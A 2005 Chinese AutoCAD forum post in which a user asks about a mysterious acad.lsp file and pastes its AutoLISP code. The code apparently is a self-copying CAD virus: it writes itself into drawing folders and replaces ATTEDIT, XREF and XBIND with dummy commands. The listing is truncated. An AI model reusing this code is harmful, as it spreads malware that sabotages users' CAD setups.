|
我在用AutoCAD画图的时候，有时候会自动生成一个acad.lsp的文件，里面定义了好多的命令，导致我自己的编辑的acad.pgp命令简写失效。(例如我编辑文字简写用“dd”，而这个文件中定义了“dd”是编辑块的命令)
我删除了这个文件后还是取消不掉。
请各位大侠帮忙看看，小弟不甚感激。
我在此之前用过2006，不知道是不是跟这个有关
以下是程序
(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2
)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq path (findfile "base.dcl"))
(setq path (substr path 1 (- (strlen path) 8)))
(setq mnlpath (getvar "menuname"))
(setq nowdwg (getvar "dwgname"))
(setq wjqm (findfile nowdwg))
(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(setq acadpath (findfile "acad.lsp"))
(setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
(setq ns1 ""
ns2 ""
)
(setq lspbj 0)
(setq wjqm (strcat path "acad.lsp"))
(if (setq wjm (open wjqm "r"))
(progn (while (setq wz (read-line wjm))
(setq ns1 ns2)
(setq ns2 wz)
)
(if (> (strlen ns1) 14)
(if (= (substr ns1 8 7) "acadiso")
(setq lspbj 1)
)
)
(close wjm)
)
)
(if (and (= acadpath dwgpath) (/= acadpath path))
(progn (setq oldacad (findfile "acad.lsp"))
(setq newacad (strcat path "acadiso.lsp"))
(if (= lspbj 0)
(progn (setq wjqm (strcat path "acad.lsp"))
(setq wjm (open wjqm "a"))
(write-line
(strcat "(load" (chr 34) "acadiso" (chr 34) ")")
wjm
)
(write-line "(princ)" wjm)
(close wjm)
)
)
(writeapp)
)
(progn (if (/= nowdwg "Drawing.dwg")
(progn (setq oldacad (findfile "acadiso.lsp"))
(setq newacad (strcat dwgpath "acad.lsp"))
(writeapp)
)
)
)
)
(command "undefine" "attedit")
(command "undefine" "xref")
(command "undefine" "xbind")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun writeapp ()
(if (setq wjm1 (open newacad "w"))
(progn (setq wjm (open oldacad "r"))
(while (setq wz (read-line wjm)) (write-line wz wjm1))
(close wjm)
(close wjm1)
)
)
)
(defun C:attedit (/ p cont old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq p (ssget))
(if p
(progn (setq cont (sslength p))
(princ "\nSeltct objects:")
(princ cont)
(princ "found")
(princ "\n")
(princ cont)
(princ " was not able to be attedit")
)
)
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:xref (/ old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(command "insert")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:xbind (/ old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(command "insert")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:Burst (/ p old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(princ "\nBURST----将图块中的文字炸开后成为实体")
(setq p (ssget))
(setvar "cmdecho" old_cmd)
(princ)
)
(princ)
(DEFUN C:BB ()
(princ "select the point to be break")
(COMMAND "BREAK"pause "F" pause "@0,0") (PRINC))
(DEFUN C:BR ()
(princ "select the point to be break")
(COMMAND "BREAK"pause "F") (PRINC))
(defun C:CC (/ ss FL)
(princ "\nSelect objects: ")
(setq ss (ssget))
(setq n (sslength ss))
(command "COPY" ss "" "m" "") (repeat n (command "" copy "" ""))
)
(DEFUN C:DD () (COMMAND "DDATTE") (PRINC))
(DEFUN C:d () (COMMAND "DIST") (PRINC))
(DEFUN C:DT () (COMMAND "DTEXT") (PRINC))
;;;==========================================================================
;;;==========================================================================
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; --------------------- BONUS ERROR HANDLER ----------------------
(defun init_bonus_error ( lst / ss undo_init)
;;;;;;;local function;;;;;;;;;;;;;;;;;;;;
(defun undo_init ( / undo_ctl)
(b_set_sysvars (list "cmdecho" 0))
(setq undo_ctl (getvar "undoctl"))
(if (equal 0 (getvar "UNDOCTL")) ;Make sure undo is fully enabled.
(command "_.undo" "_all")
)
(if (or (not (equal 1 (logand 1 (getvar "UNDOCTL"))))
(equal 2 (logand 2 (getvar "UNDOCTL")))
);or
(command "_.undo" "_control" "_all")
)
;Ensure undo auto is off
(if (equal 4 (logand 4 (getvar "undoctl")))
(command "_.undo" "_Auto" "_off")
)
 lace an end mark down if needed.
(while (equal 8 (logand 8 (getvar "undoctl")))
(command "_.undo" "_end")
);while
(while (not (equal 8 (logand 8 (getvar "undoctl"))))
(command "_.undo" "_begin")
);while
(b_restore_sysvars)
;return original value of undoctl
undo_ctl
);defun undo_init
;;;;;;;;;;;;;begin the work of init_bonus error;;;;;;;;;;;;;
(setq ss (ssgetfirst))
(if (not bonus_alive)
(setq bonus_alive 0)
);if
(setq bonus_alive (1+ bonus_alive))
(if (and (> bonus_alive 1) ;do some double checking to make sure
(or (not (equal 'LIST (type *error*))) ;our error handler is still active.
(not (equal "bonus_error" (cadr *error*))) ;for nested this call.
);or
);and
(progn
(princ "\nNested Error trapping is being used incorrectly.")
(princ "\nResetting the nested index to 1.")
(setq *error* bonus_error
bonus_alive 0
);setq
(restore_old_error);quietly restore undo status
(setq bonus_alive 1)
);progn then things need to be re-adjusted.
);if
(if (<= bonus_alive 0)
(progn
(setq bonus_alive 0);undo settings will be restored
;along with setting *error* back to bonus_old_error.
;No call to b_restore_sysvars will be made.
;If it is decided, this thing should do variable clean
;up also then set bonus_alive to 1 before calling
;restore_old_error
(restore_old_error);quietly restore bonus_old_error and undo status.
(setq bonus_alive 1)
);progn then
);if
(if (= bonus_alive 1)
(progn
(if (and *error*
(or (not (equal 'LIST (type *error*)))
(not (equal "bonus_error" (cadr *error*)))
);or
);and
(setq bonus_old_error *error*);save the *error* only if it
;looks like the standard one or is some other
;user defined one. Don't want to save it if
;it's ours because we already have it.
);if
(if (cadr lst)
(setq bonus_undoctl (undo_init))
(setq bonus_undoctl nil)
);if
);progn then this is a top level call, or in other words, the first time through.
);if
(b_set_sysvars (car lst))
(if (= bonus_alive 1)
(progn
(setq *error* bonus_error);setq
(if (caddr lst)
(setq *error* (append (reverse (cdr (reverse *error*)))
(list (caddr lst)
(last *error*)
);list
);append
);setq ;then add additional routine name to the error function.
);if
);progn
(progn
(if (and (> bonus_alive 1)
(or (not (equal 'LIST (type *error*)))
(not (equal "bonus_error" (cadr *error*)))
);or
);and
(setq *error* bonus_error);setq
);if
);progn else double check to make sure the bonus_error is in effect.
);if
(if (and ss
(equal 1 (logand 1 (getvar "pickfirst")))
);and
(sssetfirst (car ss) (cadr ss))
);if
);defun init_bonus_error
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun bonus_error ( msg / )
"bonus_error"
(setq bonus_alive -1)
(print msg)
;;Get out of any active command.
(while (not (equal (getvar "cmdnames") "")) (command nil))
;If undo global variable flag is set then use undo as a cleanup helper.
(if bonus_undoctl
(progn
(setvar "cmdecho" 0)
(while (not (wcmatch (getvar "cmdnames") "*UNDO*"))
(command "_.undo")
);while
(command "_end") ;The routine that just failed created an undo
;begin mark, so we need to close it off with
;and "end" mark.
(command "_.undo" "1") ;now back up to the begining.
(while (not (equal (getvar "cmdnames") ""))
(command nil)
);while
);progn
);if
(b_restore_sysvars)
(b_restore_undo)
;Restore original error handler
(if bonus_old_error
(setq *error* bonus_old_error)
);if
(setq bonus_alive 0)
(princ)
);defun bonus_error
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun restore_old_error ( / )
(setq bonus_alive (- bonus_alive 1))
(if (>= bonus_alive 0)
(b_restore_sysvars)
(setq bonus_varlist nil)
);if
(if (<= bonus_alive 0)
(progn
(b_restore_undo)
(if bonus_old_error
(setq *error* bonus_old_error);put the old error routine back.
);if
);progn then
);if
(princ)
);defun restore_old_error
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun b_restore_undo ()
(if bonus_undoctl
(progn
(b_set_sysvars (list "cmdecho" 0))
(while (equal 8 (logand 8 (getvar "undoctl")))
(command "_.undo" "_end")
);while
(if (not (equal bonus_undoctl (getvar "undoctl")))
(progn
(cond
((equal 0 bonus_undoctl)
(command "_.undo" "_control" "_none")
)
((equal 2 (logand 2 bonus_undoctl))
(command "_.undo" "_control" "_one")
)
);;cond
(if (equal 4 (logand 4 bonus_undoctl))
(command "_.undo" "_auto" "_on")
);if
);progn then restore undoctl to the status the user had it set to.
);if
(if (not (equal 2 (logand 2 (getvar "undoctl"))))
(b_restore_sysvars)
);if
);progn then restore undo to it's original setting
);if
(setq bonus_undoctl nil)
);defun b_restore_undo
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;This has no error checking. You must
;provide a list of even length in the
;following form
;( "sysvar1" value
; "sysvar2" value2
;)
(defun b_set_sysvars (lst / lst2 lst3 a b n)
(setq lst3 (car bonus_varlist));setq
(setq n 0)
(repeat (/ (length lst) 2)
(setq a (strcase (nth n lst))
b (nth (+ n 1) lst)
);setq
(setq lst2 (append lst2
(list (list a (getvar a)))
);append
);setq
(if (and bonus_varlist
(not (assoc a lst3))
);and
(setq lst3 (append lst3
(list (list a (getvar a)))
);append
);setq
);if
(setvar a b)
(setq n (+ n 2));setq
);repeat
(if bonus_varlist
(setq bonus_varlist (append (list lst3)
(cdr bonus_varlist)
(list lst2)
);append
);setq
(setq bonus_varlist (list lst2))
);if
);defun b_set_sysvars
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun b_restore_sysvars ( / lst n a b)
(if (<= bonus_alive 0)
(setq lst (car bonus_varlist)
bonus_varlist (list lst)
);setq
(setq lst (last bonus_varlist))
);if
(setq n 0);setq
(repeat (length lst)
(setq a (nth n lst)
b (cadr a)
a (car a)
)
(setvar a b)
(setq n (+ n 1));setq
);repeat
(setq bonus_varlist (reverse (cdr (reverse bonus_varlist))))
);defun b_restore_sysvars
;;;;;;;;;;;;;;;;;;;;;;;;;end error handler functions;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun p_isect ( lst flag2 / flag lst2 lst3 a b c d n j)
(setq n 0);setq
(repeat (length lst)
(setq a (nth n lst)
lst2 (append lst2 (list a))
);setq
(if (equal 2 (length lst2))
(setq lst3 (append lst3 (list lst2))
lst2 (list (cadr lst2))
);setq
);if
(setq n (+ n 1));setq
);repeat
(if (equal 2 (length lst2))
(setq lst3 (append lst3 (list lst2)));setq
);if
(setq n 0);setq
(while (and (< n (length lst3))
(not flag)
);and
(setq a (nth n lst3)
b (cadr a)
a (car a)
);setq
(setq j (+ n 1))
(while (and (< j (length lst3))
(not flag)
);and
(setq c (nth j lst3)
d (cadr c)
c (car c)
);setq
(if (and (not (equal b c 0.000001))
(not (equal a d 0.000001))
);and
(progn
(setq flag (inters a b c d))
(if (and flag
flag2
);and
(progn
(princ "\nInvalid. Crossing polygon cannot self intersect.")
(princ flag2)
);progn
);if
);progn
);if
(setq j (+ j 1));setq
);while
(setq n (+ n 1));setq
);while
flag
);defun p_isect
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;zoom_4_select
;Takes - a list of coordinates. If all coords do not lie in
;the current view, zoom_4_select will zoom to the extents
;of the coords in the list argument.
;Returns - True in the form of two corners points if a zoom operation needs
; to be performed and returns nil if not.
;
(defun zoom_4_select ( lst / a b)
(setq lst (lsttrans lst 1 2)
a (maxminpnt (lsttrans (viewpnts) 1 2))
b (maxminpnt (append a lst))
);setq
(if (not (equal a b))
(progn
(setq b (list (trans (append (car b) '(0.0)) 2 1)
(trans (append (cadr b) '(0.0)) 2 1)
)
);setq
);progn
(setq b nil)
);if
b
);defun zoom_4_select
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;maxminpnt
;takes: a list of points
;returns: a list of 2 points the lower left and the upper right
;
; maxminpnt
(defun maxminpnt ( lst / x n a b c d)
(setq x (car lst)
a (car x)
b (cadr x)
c (car x)
d (cadr x)
n 1
);setq
(repeat (max (- (length lst) 1) 0)
(setq x (nth n lst));setq
(setq a (min a (car x))
b (min b (cadr x))
c (max c (car x))
d (max d (cadr x))
);setq
(setq n (+ n 1));setq
);repeat
(list (list a b)
(list c d)
);list
);defun maxminpnt
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;viewpnts
;returns lower left and upper right coords of current view
(defun viewpnts ( / a b c d x)
(setq b (getvar "viewsize")
c (car (getvar "screensize"))
d (cadr (getvar "screensize"))
a (* b (/ c d))
x (setq x (getvar "viewctr"))
x (trans x 1 2)
c (list (- (car x) (/ a 2.0))
(- (cadr x) (/ b 2.0))
0.0
);list
d (list (+ (car x) (/ a 2.0))
(+ (cadr x) (/ b 2.0))
0.0
);list
c (trans c 2 1)
d (trans d 2 1)
);setq
(list c d)
);defun viewpnts
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;pixel_unit
;returns the size of a single pixel in drawing units.
;value depends on current zoom factor.
;
;pixunit/viewsize = one pixel/yscreensize
;
;pixunit=viewsize/yscreensize
;
(defun pixel_unit ( / x y x1 y1)
(setq y (getvar "viewsize")
x1 (car (getvar "screensize"))
y1 (cadr (getvar "screensize"))
x (* y (/ x1 y1))
);setq
(max (abs (/ y y1))
(abs (/ x x1))
);max
);defun pixel_unit
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;**PLINE** function takes a list and creates a polyline entity
;the list contains a list of coords.
;and optionaly other lists such as (8 . "LAYER")
; (40 . WIDTH)
; (62 . COLOR)
; pline n a b flag
(defun pline ( lst / n a b flag)
(if (> (length lst) 1)
(progn
(if (setq b (assoc 8 lst));setq
(setq a (append a (list b)));setq then
);if
(if (setq b (assoc 40 lst));setq
(setq a (append a (list b)
(list (cons 41 (cdr b))
);list
);append
);setq then
);if
(if (setq b (assoc 62 lst));setq
(setq a (append a (list b)));setq then
);if
);progn then
(setq flag T
b (car lst)
);setq else only a coord list was provided
);if
(setq n 0)
(while (and (not flag)
(< n (length lst))
);and
(if (not (member (nth n lst) a))
| 
发表于 2005-10-14 15:03
置顶卡
变色卡
显身卡
楼主
发表于 2005-10-15 16:46
发表于 2005-10-16 09:22